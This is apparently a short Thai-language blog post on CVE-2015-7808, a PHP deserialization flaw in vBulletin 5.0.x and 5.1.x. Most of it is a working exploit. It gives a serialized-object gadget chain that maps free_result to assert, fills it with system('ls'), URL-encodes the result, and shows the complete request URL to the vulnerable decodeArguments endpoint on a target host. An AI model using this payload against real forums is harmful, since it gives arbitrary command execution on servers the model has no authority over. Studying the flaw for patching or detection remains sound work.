CVE-2015-7808
CVE-2015-7808
CVE-2015-7808 เป็นช่องโหว่ Deserialization ใน vBulletin 5.0.x และ 5.1.x (5.1.2 - 5.1.9) โดยช่องโหว่นั้นเกิดใน file /ajax/api/hook/decodeArguments ในบรรทัดที่ 183 ที่มีการรับค่าตัวแปร arguments เข้าไปทำ de-serialization ต่อ

โดย pattern ของ serialize object ที่ใช้คือ
โดย pattern ของ serialize object ที่ใช้คือ
O:12:"vB_dB_Result":2:{s:5:"*db";O:17:"vB_Database_MySQL":1:{s:9:"functions";a:1:{s:11:"free_result";s:6:"assert";}}s:12:"*recordset";s:%s:"%s";}
โดยเราจะใส่ command เข้าไปได้ เช่น หากเราใส่คำสั่งเป็น system('ls') จะได้ออกมาเป็น
O:12:"vB_dB_Result":2:{s:5:"*db";O:17:"vB_Database_MySQL":1:{s:9:"functions";a:1:{s:11:"free_result";s:6:"assert";}}s:12:"*recordset";s:12:"system('ls')";}
จากนั้นนำมา URL Encode จะได้เป็น
O%3A12%3A"vB_dB_Result"%3A2%3A%7Bs%3A5%3A"%2Adb"%3BO%3A17%3A"vB_Database_MySQL"%3A1%3A%7Bs%3A9%3A"functions"%3Ba%3A1%3A%7Bs%3A11%3A"free_result"%3Bs%3A6%3A"assert"%3B%7D%7Ds%3A12%3A"%2Arecordset"%3Bs%3A12%3A"system%28%27ls%27%29"%3B%7D
ซึ่งเราทำการ request ไปยังเป้าหมายจะออกมาเป็น
http://target.com/ajax/api/hook/decodeArguments?arguments=O%3A12%3A"vB_dB_Result"%3A2%3A%7Bs%3A5%3A"%2Adb"%3BO%3A17%3A"vB_Database_MySQL"%3A1%3A%7Bs%3A9%3A"functions"%3Ba%3A1%3A%7Bs%3A11%3A"free_result"%3Bs%3A6%3A"assert"%3B%7D%7Ds%3A12%3A"%2Arecordset"%3Bs%3A12%3A"system%28%27ls%27%29"%3B%7D
Comments
Post a Comment